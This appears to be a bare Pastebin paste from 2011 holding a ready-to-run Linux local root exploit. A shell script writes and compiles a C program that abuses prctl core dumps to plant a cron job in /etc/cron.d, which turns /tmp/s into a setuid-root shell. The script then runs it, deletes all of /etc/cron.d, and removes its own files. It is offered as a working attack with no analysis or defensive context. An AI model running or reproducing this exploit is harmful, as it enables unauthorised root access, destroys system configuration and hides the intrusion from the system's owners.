Guest User

Untitled

a guest
Oct 10th, 2011
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. cat > /tmp/getsuid.c << __EOF__
  2. #include <stdio.h>
  3. #include <sys/time.h>
  4. #include <sys/resource.h>
  5. #include <unistd.h>
  6. #include <linux/prctl.h>
  7. #include <stdlib.h>
  8. #include <sys/types.h>
  9. #include <signal.h>
  10.  
  11. char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";
  12.  
  13. int main() {
  14. int child;
  15. struct rlimit corelimit;
  16. corelimit.rlim_cur = RLIM_INFINITY;
  17. corelimit.rlim_max = RLIM_INFINITY;
  18. setrlimit(RLIMIT_CORE, &corelimit);
  19. if ( !( child = fork() )) {
  20. chdir("/etc/cron.d");
  21. prctl(PR_SET_DUMPABLE, 2);
  22. sleep(200);
  23. exit(1);
  24. }
  25. kill(child, SIGSEGV);
  26. sleep(120);
  27. }
  28. __EOF__
  29.  
  30. cat > /tmp/s.c << __EOF__
  31. #include<stdio.h>
  32. main(void)
  33. {
  34. setgid(0);
  35. setuid(0);
  36. system("/bin/sh");
  37. system("rm -rf /tmp/s");
  38. system("rm -rf /etc/cron.d/*");
  39. return 0;
  40. }
  41. __EOF__
  42. echo "wait aprox 4 min to get sh"
  43. cd /tmp
  44. cc -o s s.c
  45. cc -o getsuid getsuid.c
  46. ./getsuid
  47. ./s
  48. rm -rf getsuid*
  49. rm -rf s.c
  50. rm -rf prctl.sh
  51.  
  52.  
  53. # [2011-10-08]
  54.  
Advertisement
Add Comment
Please, Sign In to add comment